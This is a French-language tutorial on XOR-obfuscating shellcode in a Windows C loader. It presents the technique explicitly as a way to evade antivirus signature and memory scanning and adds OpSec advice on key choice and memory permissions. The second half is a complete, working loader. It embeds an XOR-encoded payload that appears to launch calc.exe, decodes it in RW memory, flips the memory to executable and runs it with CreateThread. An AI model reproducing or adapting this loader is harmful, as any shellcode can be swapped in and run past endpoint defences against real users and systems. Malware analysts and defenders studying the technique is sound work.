C.XORer le payload et ajouter une routine de deXor du payload dans le loader

1.Théorie

Le XOR (eXclusive OR ou OU exclusif) est une opération logique binaire qui compare deux bits.

La règle d'or

Le résultat est 1 (VRAI) uniquement si les deux bits sont différents. Si les bits sont identiques, le résultat est 0 (FAUX).

Table de vérité : | Bit A | Bit B | Résultat ($A⊕B$) | | :--- | :--- | :--- | | 0 | 0 | 0 | | 0 | 1 | 1 | | 1 | 0 | 1 | | 1 | 1 | 0 |

2. La Propriété Magique : La Réversibilité

Le XOR est l'opération préférée des développeurs de loaders car elle est symétrique. Appliquer deux fois la même clé revient à retrouver la valeur d'origine.

• Chiffrement : $Message⊕Cleˊ=Chiffreˊ$

• Déchiffrement : $Chiffreˊ⊕Cleˊ=Message$

Exemple concret sur un octet :

• Octet original : 0101 0101 (0x55)

• Clé : 1010 1010 (0xAA)

• XOR Résultat : 1111 1111 (0xFF) <-- C'est ce qui est stocké sur le disque.

• XOR à nouveau : 1111 1111 $⊕$ 1010 1010 = 0101 0101 (0x55) <-- Le code original est de retour.

---

3. Pourquoi utiliser le XOR dans un Loader ?

A. Évasion de l'Analyse Statique (Signature)

Les antivirus (AV) scannent les fichiers .exe sur le disque à la recherche de séquences d'octets connues (signatures).

• Sans XOR : Le shellcode est visible. L'AV crie : "Alerte, je reconnais calc.exe !"

• Avec XOR : Les octets sont transformés. L'AV voit des données aléatoires qui ne correspondent à aucune menace connue.

B. Évasion de l'Analyse Dynamique (Mémoire)

Même si le fichier est autorisé à s'exécuter, l'AV scanne la RAM. Si le shellcode reste chiffré dans la zone RW (Read/Write) et n'est déchiffré qu'une microseconde avant d'être exécuté, la fenêtre de détection est minuscule.

---

4. Le Cycle de Vie du Payload Obfusqué

Le processus se déroule en 4 étapes clés :

1. Obfuscation (Hors-ligne) : On prend le shellcode propre et on le XOR avec une clé. On obtient le payload obfusqué.

2. Intégration : On insère ce payload "brouillé" dans notre code C.

3. Allocation & Copie : Le loader alloue une zone RW et y copie le payload brouillé.

4. Routine de deXor (Déchiffrement) : Une boucle parcourt la zone mémoire et applique la clé XOR sur chaque octet pour restaurer le code original directement en mémoire.

---

5. Points d'attention (OpSec)

• Le choix de la clé : Si la clé est trop simple (ex: 0x00), le payload ne change pas. Si elle est trop commune (ex: 0xFF), certains scanners peuvent la deviner.

• L'emplacement du deXor : La boucle de déchiffrement doit se faire dans la zone mémoire RW avant de passer en RX. On ne peut pas déchiffrer dans une zone RX car on n'a plus le droit d'écriture !

---

Résumé des permissions mémoire lors du XOR :

1. Allocation : PAGE_READWRITE (RW)

2. Copie : Payload brouillé -> Mémoire.

3. Déchiffrement : Boucle de XOR (Besoin du droit W).

4. Protection : PAGE_EXECUTE_READ (RX) (Retrait du droit W).

5. Exécution : CreateThread.

6. Le code

#include <stdio.h>
#include <windows.h>

//Déclaration payload Xor
unsigned char xored_payload[] = 
"\xd6\x62\xa9\xce\xda\xc2\xea\x2a\x2a\x2a\x6b\x7b\x6b\x7a"
"\x78\x7b\x7c\x62\x1b\xf8\x4f\x62\xa1\x78\x4a\x62\xa1\x78"
"\x32\x62\xa1\x78\x0a\x62\xa1\x58\x7a\x62\x25\x9d\x60\x60"
"\x67\x1b\xe3\x62\x1b\xea\x86\x16\x4b\x56\x28\x06\x0a\x6b"
"\xeb\xe3\x27\x6b\x2b\xeb\xc8\xc7\x78\x6b\x7b\x62\xa1\x78"
"\x0a\xa1\x68\x16\x62\x2b\xfa\xa1\xaa\xa2\x2a\x2a\x2a\x62"
"\xaf\xea\x5e\x4d\x62\x2b\xfa\x7a\xa1\x62\x32\x6e\xa1\x6a"
"\x0a\x63\x2b\xfa\xc9\x7c\x62\xd5\xe3\x6b\xa1\x1e\xa2\x62"
"\x2b\xfc\x67\x1b\xe3\x62\x1b\xea\x86\x6b\xeb\xe3\x27\x6b"
"\x2b\xeb\x12\xca\x5f\xdb\x66\x29\x66\x0e\x22\x6f\x13\xfb"
"\x5f\xf2\x72\x6e\xa1\x6a\x0e\x63\x2b\xfa\x4c\x6b\xa1\x26"
"\x62\x6e\xa1\x6a\x36\x63\x2b\xfa\x6b\xa1\x2e\xa2\x62\x2b"
"\xfa\x6b\x72\x6b\x72\x74\x73\x70\x6b\x72\x6b\x73\x6b\x70"
"\x62\xa9\xc6\x0a\x6b\x78\xd5\xca\x72\x6b\x73\x70\x62\xa1"
"\x38\xc3\x7d\xd5\xd5\xd5\x77\x62\x90\x2b\x2a\x2a\x2a\x2a"
"\x2a\x2a\x2a\x62\xa7\xa7\x2b\x2b\x2a\x2a\x6b\x90\x1b\xa1"
"\x45\xad\xd5\xff\x91\xda\x9f\x88\x7c\x6b\x90\x8c\xbf\x97"
"\xb7\xd5\xff\x62\xa9\xee\x02\x16\x2c\x56\x20\xaa\xd1\xca"
"\x5f\x2f\x91\x6d\x39\x58\x45\x40\x2a\x73\x6b\xa3\xf0\xd5"
"\xff\x49\x4b\x46\x49\x04\x4f\x52\x4f\x2a\x2a";

unsigned char key = 0x2A;


int main(void){
    
    // Allocation mémoire 
    SIZE_T size = sizeof(xored_payload); // Taille en bytes du shellcode
    LPVOID exec = VirtualAlloc(NULL,size,MEM_COMMIT | MEM_RESERVE,PAGE_READWRITE);

    if (exec == NULL){
        printf("Allocation memoire echoue");
    } 
    
    else{
        printf("Reussi \n");
        printf("[+] Memoire allouee a l'adresse: 0x%p avec les droits RW.\n", exec);
    }

    // Copie du programme dans la zone mémoire 

    LPVOID adress= memcpy(exec,xored_payload,size);
    printf("[+] Payload copie a l'adresse %p.\n", adress);

    // DeXor du programme

    printf("[+] Debut du dechiffrement XOR...\n");

    for (int i = 0; i < size - 1 ; i++) {
       ((unsigned char*)exec)[i] = ((unsigned char*)exec)[i] ^ key;
         /* DÉCORTICAGE DU CAST : ((unsigned char*)exec)[i]
           
           - exec : C'est un LPVOID (pointeur vers "rien"). Le CPU ne sait pas quelle taille fait la donnée.
           - (unsigned char*) : On force le compilateur à voir 'exec' comme une suite d'octets (1 octet par case).
           - [i] : On accède à la case numéro 'i' (l'offset).
           - ^ key : On applique l'opération XOR pour inverser le chiffrement.
        */
    }

    printf("[+] Payload dechiffre en memoire.\n");

    //Changement des droits de la mémoire en RX

    DWORD old_status = 0;

    VirtualProtect(adress,size,PAGE_EXECUTE_READ,&old_status);

    printf("\n Old status : %p \n",old_status);
    printf("Changement en RX \n");


    // Exécution du programme via un thread 

    HANDLE thread_exec = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE) exec,NULL,0,NULL);
    if (thread_exec == NULL){
        printf("Thread exec echoue");
    }
    else{
        printf("Reussi \n");
        printf("[+] Shellcode execute via CreateThread \n");
        WaitForSingleObject(thread_exec, INFINITE);
    }



    return 0;
}